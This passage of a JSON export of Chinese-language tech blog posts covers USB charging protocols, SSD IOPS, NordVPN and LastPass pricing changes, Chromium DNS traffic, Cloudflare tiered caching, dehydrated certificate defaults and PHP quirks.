    "body": "前陣子因為好玩買了 <a href=\"https://duckduckgo.com/?q=ZY1280P\">ZY1280P</a>，主要是可以看充電時使用的 Protocol：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dOW4fOUl.webp\" /><img src=\"https://i.gslin.com/imgur/dOW4fOUl.jpg\" alt=\"\" /></picture>\r\n\r\n其中 D+ 與 D- 資訊可以拿來判斷現在在跑的 Protocol，網路上有不少資料可以看，就會發現各家廠商在早期出了超多的快充協定。\r\n\r\n拿到後把家裡各種可以輸出 USB 電源的東西都測了一輪，才發現有超多東西跟預想的不一樣。\r\n\r\n首先是 <a href=\"https://duckduckgo.com/?q=HA2-50U5Q\">HA2-50U5Q</a> 這顆 USB 充電器：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JvYXQxl.webp\" /><img src=\"https://i.gslin.com/imgur/JvYXQxl.jpg\" alt=\"\" /></picture>\r\n\r\n最左邊兩個 Port 接上去只顯示了 <code>DCP 5V1.5A</code> + <code>SAMSUNG 2A</code>，接 <a href=\"https://www.apple.com/ipad-mini/\">iPad mini</a> 上去也的確只有 1A 左右的電流。而再往右的兩個 Port 接上去就會顯示 <code>DCP 5V1.5A</code> + <code>APPLE 2.4A</code>，這時候 iPad mini 可以吃到接近 12W 左右，另外 QC 2.0 的 Port 也能提供 <code>APPLE 2.4A</code>。\r\n\r\n我之前把 Lightning 的線接在最左邊，難怪充電速度不怎麼樣...\r\n\r\n另外一個是行動電源「<a href=\"https://24h.pchome.com.tw/prod/DYAO0W-A900AMV10\">ASUS行動電源ZenPower 10000mAh(QC3.0)-ABTU018(藍)</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0BTBgzz.webp\" /><img src=\"https://i.gslin.com/imgur/0BTBgzz.png\" alt=\"\" /></picture>\r\n\r\n這台也有類似的情況，QC 3.0 的 Port 可以推 <code>DCP 5V1.5A</code> + <code>APPLE 2.4A</code> 出來，但是另外一個 Port 只能給 <code>DCP 5V1.5A</code> + <code>SAMSUNG 2A</code>，然後我平常也是把 Lightning 的線接在黑色的那條上面...\r\n\r\n不過 ZY1280P 這台的 USB Type C 有遇到狀況：有些直接接 <a href=\"https://www.apple.com/macbook-air/\">Macbook Air</a> 可以充電，但過了 ZY1280P 就不能充 (這邊應該是走 USB PD)，另外在測 <a href=\"https://en.wikipedia.org/wiki/Nokia_5.3\">Nokia 5.3</a> 也有類似情況 (這台沒有支援 USB PD)，這邊的問題年假期間研究一下，看看有什麼設定要設...",
    "title": "USB 充電器的充電速度"
  },
  {
    "id": "9958",
    "body": "這篇「<a href=\"https://tanelpoder.com/posts/11m-iops-with-10-ssds-on-amd-threadripper-pro-workstation/\">Achieving 11M IOPS &amp; 66 GB/s IO on a Single ThreadRipper Workstation</a>」用了 <a href=\"https://www.amd.com/\">AMD</a> 平台上的 <a href=\"https://en.wikipedia.org/wiki/PCI_Express\">PCI-e</a> 4.0 硬幹出 4K 隨機讀取 11M IOPS 的速度，另外在大區塊讀取可以到 66GB/sec，後面這個速度應該是可以把 <a href=\"https://en.wikipedia.org/wiki/DDR4\">DDR4</a> 記憶體頻寬吃滿...\r\n\r\n硬體的部份，作者用了 8*1TB + 2*500GB 的 M.2 SSD 來建這組系統，然後接到卡上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N9Slaaf.webp\" /><img src=\"https://i.gslin.com/imgur/N9Slaaf.jpeg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MPNZdFc.webp\" /><img src=\"https://i.gslin.com/imgur/MPNZdFc.jpg\" alt=\"\" /></picture>\r\n\r\n不過他好像沒提到這組機器的價錢 (雖然每個單品都查的到)，大概算了一下 storage 的部份其實不怎麼貴，Samsung 980 Pro PCIe 4.0 M.2 SSD 的部份，1TB 每一條要 USD$160，500GB 要 USD$120，旁邊那些 CPU 與記憶體反而貴不少... 不過整台機器應該有機會在 USD$10000 搞定？\r\n\r\n感覺拿來給剪片的人用很爽？至少在處理讀寫的時候應該是很順...",
    "title": "用 SSD 的 I/O 暴力解"
  },
  {
    "id": "9959",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.reddit.com/r/assholedesign/comments/ldf9g9/nordvpn_disables_features_when_you_turn_off/\">NordVpn disables features when you turn off auto-renew</a>」這個，這也太厲害了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6LGixtH.webp\" /><img src=\"https://i.gslin.com/imgur/6LGixtH.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/NordVPN\">NordVPN</a> 設計成只要關掉 auto-renewal 就直接拔掉一些功能，一臉 WTF...\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的「<a href=\"https://news.ycombinator.com/item?id=26046642\">NordVPN disables features when you turn off auto-renew (reddit.com)</a>」看到這段提出來的論點蠻有趣的，當作一個參考觀點：\r\n\r\n<blockquote>By now these VPN providers are like toothpaste, diapers or soft drinks: completely undifferentiated between competitors, and so only able to maintain their market share by spending loads on marketing. Of course the company with most egregious dark patterns and aggressive churn dampening wins.\r\n\r\nThankfully a tube of toothpaste doesn't allow implementing dark patterns like this... yet.</blockquote>",
    "title": "NordVPN 綁架使用者的方式..."
  },
  {
    "id": "9960",
    "body": "在「<a href=\"https://supunkavinda.blog/disqus\">Disqus, the dark commenting system</a>」這邊才看到 <a href=\"https://disqus.com/\">Disqus</a> 被網路廣告公司買的消息：\r\n\r\n<blockquote>Disqus was acquired by an advertising company called Zeta Global in 2017. Obviously, advertising companies do everything to increase their revenue (Ex: the Big G).</blockquote>\r\n\r\n引用的報導則是在「<a href=\"https://techcrunch.com/2017/12/05/zeta-global-acquires-commenting-service-disqus/\">Zeta Global acquires commenting service Disqus</a>」這邊可以看到，大約在三年前發生的事情...\r\n\r\n基本上已經變成廣告追蹤平台了：\r\n\r\n<blockquote>I analyzed the network requests log. Disqus makes HTTP requests to 11 different third-party domains through the browser. All of these websites are trackers/pixels (Even some were detected as malware by my security guard).</blockquote>\r\n\r\n而且就算是付費會員也一樣，還是會追蹤：\r\n\r\n<blockquote>When you provide a free product, money should come from somewhere. Disqus uses advertising for that. Now, I subscribed to a paid plan trial of Disqus to see if things change or not. No! Even in the paid plans, the same pixels are loaded on the client-side. Looks like there's no way to opt-out from tracking.</blockquote>\r\n\r\n後面的推薦可以看看就好，自己架應該還是比較好的選擇... 用「<a href=\"https://duckduckgo.com/?q=open+source+comment+system\">open source comment system</a>」搜有些東西可以參考。",
    "title": "原來 Disqus 已經被網路廣告公司買走了..."
  },
  {
    "id": "9961",
    "body": "又是一個以為很久前就已經支援，但實際上沒支援的功能...\r\n\r\n<a href=\"https://aws.amazon.com/elasticloadbalancing/application-load-balancer/\">ALB</a> 支援使用 cookie 實現 sticky session 功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/02/application-load-balancer-supports-application-cookie-stickiness/\">Application Load Balancer now supports Application Cookie Stickiness</a>」。\r\n\r\n使用者的 session 通常會使用 cookie 記錄，而如果有多台 server 提供服務時，session 裡的資訊就需要找一個 shared session storage 放，以確保使用者在連到不同的 server 時都還是可以讀到對應的 session，比較傳統的方案就是直接把 session 塞進資料庫，後來發展出 <a href=\"https://www.memcached.org/\">memcached</a> 或是 <a href=\"https://redis.io/\">Redis</a> 可以用。\r\n\r\n但有些買來的軟體並沒有考慮到這點 (常常都是內部系統)，導致前面放 load balancer 時，必須想個辦法記錄使用者使用後端的哪台機器，這樣就可以在後端不支援 shared session storage 的情況下，還是可以讓應用正常運作。\r\n\r\n透過 cookie 實做的 sticky session 算是蠻常見的作法，只是以為早就有了...",
    "title": "ALB 支援 Sticky Session"
  },
  {
    "id": "9962",
    "body": "剛剛在 <a href=\"https://en.wikipedia.org/wiki/Clubhouse_(app)\">Clubhouse</a> 上聽到<a href=\"https://www.facebook.com/will.fans\">保哥</a>提到了 <a href=\"https://tools.ietf.org/html/rfc7807\">RFC 7807</a> 這個東西 (<a href=\"https://tools.ietf.org/html/rfc7807\">Problem Details for HTTP APIs</a>)，剛剛翻瀏覽器累積的 tab，發現原來先前有看到，而且有打算要出新版的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">RFC 7807 &quot;Problem Details for HTTP APIs&quot; has become a widely used standard for representing error messages. work has started on an updated version of the format. if you have any feedback about the spec, now would be a good time to make yourself heard. <a href=\"https://t.co/ERrsf1BbbN\">https://t.co/ERrsf1BbbN</a> <a href=\"https://t.co/dEQnzUMS3M\">pic.twitter.com/dEQnzUMS3M</a></p>&mdash; Erik Wilde (@dret) <a href=\"https://twitter.com/dret/status/1355075053088608258?ref_src=twsrc%5Etfw\">January 29, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nRFC 7807 裡面這樣定義的方式可以讓 client 端直接判斷 <code>Content-Type</code> 知道這個回傳資料是不是錯誤訊息，不然以前都是 JSON 就得再另外包裝。用 <code>Content-Type</code> 的作法可以讓判斷條件變得清晰不少。\r\n\r\n除了 <code>application/problem+json</code> 與 <code>application/problem+xml</code> 以外，在「3.1.  Members of a Problem Details Object」裡面則是說明 JSON (或是 XML) 裡面有哪些必要以及可選的資訊要填，然後「3.2.  Extension Members」這邊則大概描述一下怎麼擴充。\r\n\r\n先有個印象，之後新規劃的東西可以考慮進去...",
    "title": "RFC 定義的 application/problem+json (或是 xml)"
  },
  {
    "id": "9963",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/08/27/9681/chromium-google-chrome-%E5%AF%A6%E5%81%9A%E5%B0%8D-root-dns-%E7%9A%84%E5%BD%B1%E9%9F%BF/\">Chromium (Google Chrome) 實做對 Root DNS 的影響</a>」這邊有提過 <a href=\"https://www.chromium.org/\">Chromium</a> (以及 <a href=\"https://www.google.com/chrome/\">Google Chrome</a>) 判斷所在的網路是不是有 <code>NXDOMAIN</code> hijack 的程式碼反而對 <a href=\"https://en.wikipedia.org/wiki/Root_name_server\">Root name servers</a> 產生了巨大的 <code>NXDOMAIN</code> 流量。\r\n\r\n因為上新聞所以才動了起來 (本來都沒什麼在動)，後來提供的方法是變成可以設定的選項，但預設是關閉的，這樣一來就可以改善 Root name servers 的壓力：「<a href=\"https://chromium.googlesource.com/chromium/src.git/+/4d46fb81638ef502663f2db09266bad6eb0ea12b\">Add multi-state DNS interception policy - functionality piece.</a>」。\r\n\r\n而後在 Google Chrome 87 版進入 stable channel 後開始大幅緩解 (各平台分別在 2020/11/17 與 2020/11/18 釋出)，在繼續觀察幾個月後，上個禮拜 <a href=\"https://www.verisign.com/\">Verisign</a> 的人在 <a href=\"https://www.apnic.net/\">APNIC</a> 這邊更新了消息：「<a href=\"https://blog.apnic.net/2021/02/04/how-chromium-reduces-root-dns-traffic/\">How Chromium reduced Root DNS traffic</a>」。\r\n\r\n這是去年八月時丟出來的資料，可以看到趨勢往上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/abB3P9h.webp\" /><img src=\"https://i.gslin.com/imgur/abB3P9h.png\" alt=\"\" /></picture>\r\n\r\n這是後續的資料，從 87 版釋出後開始往下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3TLC98E.webp\" /><img src=\"https://i.gslin.com/imgur/3TLC98E.png\" alt=\"\" /></picture>\r\n\r\n另外我覺得比較好玩的是這個，在「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1090985\">Issue 1090985: Disable Intranet Redirect Detector by default</a>」這邊看到這樣的說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/chDbVRi.webp\" /><img src=\"https://i.gslin.com/imgur/chDbVRi.png\" alt=\"\" /></picture>\r\n\r\n看起來沒什麼問題，先 merge 再說... 是這樣玩嗎 XDDD",
    "title": "Chromium (Google Chrome) 修正 DNS 查詢問題後對 Root name servers 的壓力減輕不少"
  },
  {
    "id": "9964",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://phabricator.wikimedia.org/T273741\">Investigate unusual media traffic pattern for AsterNovi-belgii-flower-1mb.jpg on Commons</a>」這個，維基百科拿來存放各種多媒體檔案的 <a href=\"https://en.wikipedia.org/wiki/Wikimedia_Commons\">Wikimedia Commons</a> 發現有大量的印度流量都打進了 <a href=\"https://upload.wikimedia.org/wikipedia/commons/thumb/1/16/AsterNovi-belgii-flower-1mb.jpg/1280px-AsterNovi-belgii-flower-1mb.jpg\">https://upload.wikimedia.org/wikipedia/commons/thumb/1/16/AsterNovi-belgii-flower-1mb.jpg/1280px-AsterNovi-belgii-flower-1mb.jpg</a> 這張圖片，而這佔了 EQSIN (新加坡伺服器的代碼) 中 20% 的流量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/U1CgIH1.webp\" /><img src=\"https://i.gslin.com/imgur/U1CgIH1.jpg\" alt=\"\" /></picture>\r\n\r\n由於 <code>User-Agent</code> 與 <code>Referer</code> 都沒有資訊，可以確認這不是瀏覽器造成的流量，但也因為沒有有用的資訊，變得很難查。\r\n\r\n接下來有使用者提到時間點可能跟 <a href=\"https://en.wikipedia.org/wiki/TikTok\">TikTok</a> 在印度被 ban 有關，因為在被 ban 後有很多使用者會去找替代的服務，而開發者有可能就直接拿這張圖來當啟動畫面或是背景畫面。\r\n\r\n所以他們把熱門的替代服務都看了一輪，也都沒看到這張圖。後來他們猜測有可能是抓了但沒顯示在畫面上，所以開始交叉測試：在開 app 後就去 <a href=\"https://hive.apache.org/\">Hive</a> 掃 HTTP log，然後找到一個 app。\r\n\r\n後來為了要確認是不是這個 app，他們架了一組 DNS server 記錄查詢的網域名稱，看看 app 會不會觸發查詢 <code>upload.wikimedia.org</code> 這個網域名稱，而不出所料的確認了，而且真的就是在啟動時有抓，但是沒有顯示在畫面上。\r\n\r\n接下來就是想辦法聯絡開發團隊，而目前 Wikimedia Commons 這邊先以 <code>User-Agent</code> 擋掉這些需求了。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=26072025\">20% of requests for Wikimedia Commons are for one image of a flower (wikimedia.org)</a>」也很有趣，有其他事件的苦主在當年遇到 <a href=\"https://en.wikipedia.org/wiki/MSN\">MSN</a> 直接用他網站上的圖片導致他的伺服器快掛，而且反應了很多次都沒用，然後他就把圖片換成「Netscape Now」，然後十五分鐘內就被解決了：\r\n\r\n<blockquote>At the height of the browser wars I once woke up to Microsoft hotlinking a small button for downloading our software from the MSN homepage. I tried to reach someone there for hours but nobody cared enough to do something about it. The image was small (no more than a few K), but the millions of requests that page got were enough to totally kill our server.\r\n\r\nFinally, I replaced the image on there with a 'Netscape Now' button. Within 15 minutes the matter was resolved.</blockquote>\r\n\r\n找了一下圖片，看起來應該是類似這種的圖：\r\n\r\n<img src=\"https://i.gslin.com/imgur/utRuxQI.gif\" alt=\"\" />\r\n\r\n要直接反擊讓人會痛... XD",
    "title": "Wikimedia Commons 發現的印度異常流量"
  },
  {
    "id": "9967",
    "body": "升級到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 88 以後又再次被 <a href=\"https://www.google.com/\">Google</a> 姦了，這次是 Search Engine Keyword 的功能預設被關掉：「<a href=\"https://www.androidpolice.com/2021/02/04/chrome-88-disables-space-bar-shortcut-for-custom-search-engines-but-theres-a-fix/\">Chrome 88 disables space bar shortcut for custom search engines, but there's a fix</a>」，在「<a href=\"https://superuser.com/questions/1625630/google-chrome-keyword-search-is-no-longer-working\">Google Chrome keyword search is no longer working</a>」這邊也有類似的問題冒出來。\r\n\r\n文章裡面有提到解法，在 <code>chrome://flags</code> 裡面挑一個設為 <code>Disabled</code> 就可以了，我是用 <code>#omnibox-keyword-search-button</code> 這組：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1RH3MU9.webp\" /><img src=\"https://i.gslin.com/imgur/1RH3MU9.png\" alt=\"\" /></picture>\r\n\r\n設定完成後要重開瀏覽器才會生效。",
    "title": "Google Chrome 88 的 Search Engine Keyword 功能失效恢復的方法"
  },
  {
    "id": "9968",
    "body": "這兩天弄 <a href=\"https://dehydrated.io/\">dehydrated</a>，結果發現 <a href=\"https://github.com/dehydrated-io/dehydrated/releases/tag/v0.7.0\">v0.7.0</a> 取得憑證的預設演算法改成 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 的 <code>secp384r1</code> 了：\r\n\r\n<blockquote>Using EC secp384r1 as default certificate type</blockquote>\r\n\r\n這會導致很多「稍微舊一點」的 client 失效 (瀏覽器與 library)，不知道為什麼要預設... 目前避開的方法是強制在 <code>/etc/dehydrated/config</code> 內設定使用 <code>rsa</code>：\r\n\r\n<pre>KEY_ALGO=rsa</pre>\r\n\r\n剛剛把公司一堆機器改上去，然後把自己的 server 也加一加...",
    "title": "Dehydrated 取得憑證的預設演算法改成 secp384r1"
  },
  {
    "id": "9970",
    "body": "忘了在哪邊看到的，好像是 <a href=\"https://twitter.com/\">Twitter</a> 上看到的，<a href=\"https://en.wikipedia.org/wiki/Mark_Nottingham\">mnot</a> 與 <a href=\"https://en.wikipedia.org/wiki/Poul-Henning_Kamp\">phk</a> 兩個人弄了一個新的 <a href=\"https://en.wikipedia.org/wiki/Request_for_Comments\">RFC</a> 標準，可以在 HTTP header 裡面傳結構性資料：「<a href=\"https://tools.ietf.org/html/rfc8941\">Structured Field Values for HTTP</a>」。\r\n\r\n第一個最直接的問題就在「A.1.  Why Not JSON?」這個章節說明，考慮了既有的限制，包括 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> spec，以及市場上既有的 JSON library 的實做。\r\n\r\n但也因為自己定義了資料結構，Serializing &amp; Parsing 就得另外再開發 library 處理，這樣會有多少 framework 支援就是個問題了，而且對於開發者來說，直接塞 JSON 很好理解，這個標準的前景不知道會怎麼樣...",
    "title": "在 HTTP Header 裡面傳結構性資料"
  },
  {
    "id": "9972",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://en.wikipedia.org/wiki/Google_Groups\">Google Groups</a> 把 <a href=\"https://en.wikipedia.org/wiki/Comp.*_hierarchy\">comp.lang.c</a> 給禁了，連到 <a href=\"https://groups.google.com/g/comp.lang.c\">https://groups.google.com/g/comp.lang.c</a> 可以看到無法使用的訊息：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Dnkzzfe.png\" alt=\"\" />\r\n\r\n<blockquote>警告：內容已遭禁止\r\ncomp.lang.c 已被認定為包含垃圾內容、惡意軟體或其他惡意內容。\r\n\r\n如要進一步瞭解 Google 網路論壇的內容政策，請參閱這篇關於濫用本服務的說明中心文章，以及我們的《服務條款》。</blockquote>\r\n\r\n這樣連歷史資料都看不到了...",
    "title": "Google Groups 把 comp.lang.c 給禁了..."
  },
  {
    "id": "9973",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://grafana.com/\">Grafana</a> 的帳號提到了一篇把 <a href=\"https://aws.amazon.com/\">AWS</a> Billing 資料接進 Grafana 上的文章：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">How to setup AWS Billing metrics in Grafana Cloud via Terraform by <a href=\"https://twitter.com/KoningsJohannes?ref_src=twsrc%5Etfw\">@KoningsJohannes</a> <a href=\"https://t.co/CpDmZlrIPm\">https://t.co/CpDmZlrIPm</a></p>&mdash; Grafana (@grafana) <a href=\"https://twitter.com/grafana/status/1361318605581934593?ref_src=twsrc%5Etfw\">February 15, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這個想法還頗不賴的，有些東西剛好可以交叉比對拉出來...",
    "title": "把 AWS 的 Billing 資料接進 Grafana 上..."
  },
  {
    "id": "9975",
    "body": "<a href=\"https://www.lastpass.com/\">LastPass</a> 進入了「套養殺」最後一個階段「殺」，宣佈縮減 LastPass Free 的可用範圍。在 2021/03/16 開始 (一個月後)，LastPass Free 的使用者只能選擇一個平台使用，像是「桌機平台」，或是「行動平台」：「<a href=\"https://www.theverge.com/2021/2/16/22285531/lastpass-free-tier-mobile-computer-device-premium-family\">LastPass’ free tier will become a lot less useful next month</a>」，官方的新聞稿則是在「<a href=\"https://blog.lastpass.com/2021/02/changes-to-lastpass-free/\">Changes to LastPass Free</a>」這邊。\r\n\r\n官方有提供第一年的限時優惠 (換算起來應該是一年 USD$27)，但不給既有用戶，現有的用戶如果要的話得自己換帳號 export &amp; import，不然就是用原價殺 (一年 USD$36)：\r\n\r\n<blockquote>If you’d like unlimited device type access and email support, you can upgrade from Free to LastPass Premium for a limited time, for $2.25 per month (billed annually). *\r\n\r\n*Additional Terms and Conditions: Advertised price valid for new users on their first year of LastPass Premium. Price not valid for renewals or existing customers and cannot be used for other LastPass plans, products or services. </blockquote>\r\n\r\n不過這個優惠連結發現點下去是爛的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gfHoGFs.webp\" /><img src=\"https://i.gslin.com/imgur/gfHoGFs.png\" alt=\"\" /></picture>\r\n\r\n話說回來，這種東西我自己還是偏好用 open source 方案，然後自己搭同步機制，不過目前看到的方案在跨桌機平台與行動平台的確是痛點... 有需求的人應該還是會選 LastPass 或是 <a href=\"https://1password.com/\">1Password</a> 這樣的方案。",
    "title": "LastPass 開始進入「殺」的階段，免費使用者只能在一個平台上使用"
  },
  {
    "id": "9976",
    "body": "在「<a href=\"https://www.cnx-software.com/2021/01/16/pinepower-120w-desktop-power-supply-features-display-usb-pd-qc-3-0-and-wireless-charging/\">PinePower 120W desktop power supply features display, USB PD, QC 3.0 and wireless charging</a>」這邊看到 PinePower 120W 這個充電器：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/59amyck.webp\" /><img src=\"https://i.gslin.com/imgur/59amyck.jpg\" alt=\"\" /></picture>\r\n\r\n提供了一個 Type-A QC 3.0 (18W) + 三個 Type-A 5V/3A (15W) + 一個 Type-C PD (65W)，然後還有一個 Qi (10W)，算了一下這些組合全部都跑滿要 138W，然後機器的上限提供 120W，這個集縮比超低，看起來也是頗猛的...\r\n\r\n目前 out of stock，剛好可以等其他用過的人的評價...",
    "title": "PinePower 120W 充電器"
  },
  {
    "id": "9977",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在 Argo 架構上 (付費功能) 推出了 Tiered Cache Smart Topology：「<a href=\"https://blog.cloudflare.com/tiered-cache-smart-topology/\">Tiered Cache Smart Topology</a>」、「<a href=\"https://blog.cloudflare.com/introducing-smarter-tiered-cache-topology-generation/\">Introducing: Smarter Tiered Cache Topology Generation</a>」。\r\n\r\n這邊提到的 Argo 是 Cloudflare 在 2017 年時提出來想要降低 Internet 的 routing (像是 <a href=\"https://en.wikipedia.org/wiki/Border_Gateway_Protocol\">BGP</a>) 未必會走到最佳路徑上的問題，透過 Cloudflare 自家的骨幹網路，最佳化 latency &amp; bandwidth &amp; packet loss 產生的問題：「<a href=\"https://blog.cloudflare.com/argo/\">Introducing Argo — A faster, more reliable, more secure Internet for everyone</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NHuYZ5J.webp\" /><img src=\"https://i.gslin.com/imgur/NHuYZ5J.jpg\" alt=\"\" /></picture>\r\n\r\n而 Tiered Cache 算是 CDN 行業裡面很常見的技術了，主要是要解決不同 data center 的 edge server 都去跟 origin server 要資料，而造成 origin server 的流量太大。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/glhz7X7.webp\" /><img src=\"https://i.gslin.com/imgur/glhz7X7.png\" alt=\"\" /></picture>\r\n\r\n緩解的方式是在 edge server 與 origin server 中間疊一層 cache server，就可以大幅緩解 origin server 的流量。\r\n\r\norigin server 流量問題在一般的應用來說還好：就算是 Windows Update 或是 iOS 更新這種基數超大的量，一開始也許會慢一點，但當 edge server 有 cache 後就不會再吃到 origin server 的頻寬。\r\n\r\n另外也可以在公開上線前先 pre-warm，讓 edge server 都有 cache 後再上線，這樣 origin server 就不需要準備太多頻寬。\r\n\r\n但在大型影音直播的時候就不一樣了，因為會一直產出新的內容 (之前玩的是走 <a href=\"https://en.wikipedia.org/wiki/HTTP_Live_Streaming\">HLS</a>，所以會一直有新的 <code>.ts</code> 檔生出來)，沒辦法先 pre-warm，這時候 origin server 就會需要大量的頻寬才有辦法支撐整個服務，所以需要 CDN 系統在中間疊一層 cache server，這個功能在各家 CDN 業者都有，只是名稱不太一樣。\r\n\r\n記得當時用 <a href=\"https://www.akamai.com/\">Akamai</a> 預設的 CDN 走直播時只有 95% 左右的 hit rate，這代表對外服務 20Gbps 就會對 origin server 產生 1Gbps 的量 (20:1)，而打開 Tiered Distribution 後可以拉到 98% 甚至 99%+，相對於後端的壓力可以降到 50:1 到 100+:1。\r\n\r\n在 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 也有類似的架構，叫做 Regional Edge Caches：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GYZLTfv.webp\" /><img src=\"https://i.gslin.com/imgur/GYZLTfv.png\" alt=\"\" /></picture>\r\n\r\n不過這兩種架構都有一些缺點，像 Akamai 需要自己指定 cache server 的節點，這樣就不容易動態調整，或是使用者沒有設好導致 latency 偏高。\r\n\r\n而像 AWS 這種已經已經先分好群的，就會遇到像是 origin server 與 edge server 都在台灣，但在 Regional Edge Caches 架構下必須先繞到日本 (或是新加坡)，產生 latency 與 packet loss 偏高的問題。\r\n\r\n這次 Cloudflare 在 Argo 架構推出的 Tiered Cache Smart Topology 的賣點 (Argo 本來就有提供 Tiered Cache)，看起來是希望由系統自動選擇最佳的一個 data center 來當作 cache tier，不需要使用者額外設定。\r\n\r\n不過一般網站應該還好，主力應該在電商網站與互動性很高的娛樂產業 (i.e. 操作起來要很流暢)...",
    "title": "Cloudflare 在 Argo 架構上推出 Tiered Cache Smart Topology"
  },
  {
    "id": "9978",
    "body": "在 <a href=\"https://www.nuzzel.com/\">Nuzzel</a> 上看到的文章，講 <a href=\"https://www.php.net/\">PHP</a> 裡不應該使用 <a href=\"https://www.php.net/manual/en/function.empty.php\">empty()</a>：「<a href=\"https://beberlei.de/2021/02/19/when_to_use_empty_in_php_i_say_never.html\">When to use empty in PHP? I’d say never</a>」。\r\n\r\n之前寫 PHP 時很習慣用 <code>===</code> 與 <code>!==</code> 比較，另外習慣用 <code>is_type()</code> 先判斷型態再去搭其他的判斷 (像是 <a href=\"https://www.php.net/manual/en/function.is-array.php\">is_array()</a> 與 <a href=\"https://www.php.net/manual/en/function.is-string.php\">is_string()</a> 這類型態確認)，算是避免了文章裡面提到的問題，而且也提高了程式的可讀性 (因為開發者看到 <code>is_type()</code> 可以預期型態)。\r\n\r\n比較討厭的應該是偶而還是會搞混 <code>+</code> (數字相加) 與 <code>.</code> (字串串接)，還有 <code>+</code> 對兩個數字字串是可以操作的 (然後會傳回 int)：\r\n\r\n<pre>$ php -a\r\nInteractive mode enabled\r\n\r\nphp &gt; var_dump('123' + '456');\r\nint(579)\r\nphp &gt;</pre>\r\n\r\n用過都說幹 XD",
    "title": "PHP 的 empty()"
  },
  {
    "id": "9979",
    "body": "先前因為 <a href=\"https://twitter.com/cjin\">cjin</a> 的這則推，跑去追蹤了 <a href=\"https://twitter.com/BigTechAlert\">@BigTechAlert</a> 這個帳號：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">我在Twitter上有follow幾個追蹤動態的alert帳號，像是<a href=\"https://twitter.com/BigTechAlert?ref_src=twsrc%5Etfw\">@BigTechAlert</a> 追蹤科技大咖 follow/unfollow 動態<a href=\"https://twitter.com/whale_alert?ref_src=twsrc%5Etfw\">@whale_alert</a> 追蹤 crypto 的大額交易<br><br>不知大家還有沒有推薦其他有趣的追蹤動態的帳號呢？</p>&mdash; Cjin Cheng (@cjin) <a href=\"https://twitter.com/cjin/status/1351131763226128389?ref_src=twsrc%5Etfw\">January 18, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n@BigTechAlert 這個帳號會把名人以及大企業的 <a href=\"https://twitter.com/\">Twitter</a> 帳號所追蹤與推追蹤的行為找出來，然後發表在 Twitter 上面。\r\n\r\n平常 @BigTechAlert 所抓出來的追蹤與退追大家也都習以為常，你去看 @BigTechAlert 的帳號也可以發現沒什麼 retweet &amp; like。\r\n\r\n但前幾天這則退訂通知讓不少人 retweet &amp; like，因為是 <a href=\"https://en.wikipedia.org/wiki/Elon_Musk\">Elom Musk</a> 退追了 <a href=\"https://twitter.com/POTUS\">@POTUS</a> 帳號 (也就是 <a href=\"https://en.wikipedia.org/wiki/President_of_the_United_States\">President of the United States</a>)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">? <a href=\"https://twitter.com/elonmusk?ref_src=twsrc%5Etfw\">@elonmusk</a> is no longer following <a href=\"https://twitter.com/POTUS?ref_src=twsrc%5Etfw\">@POTUS</a></p>&mdash; Big Tech Alert (@BigTechAlert) <a 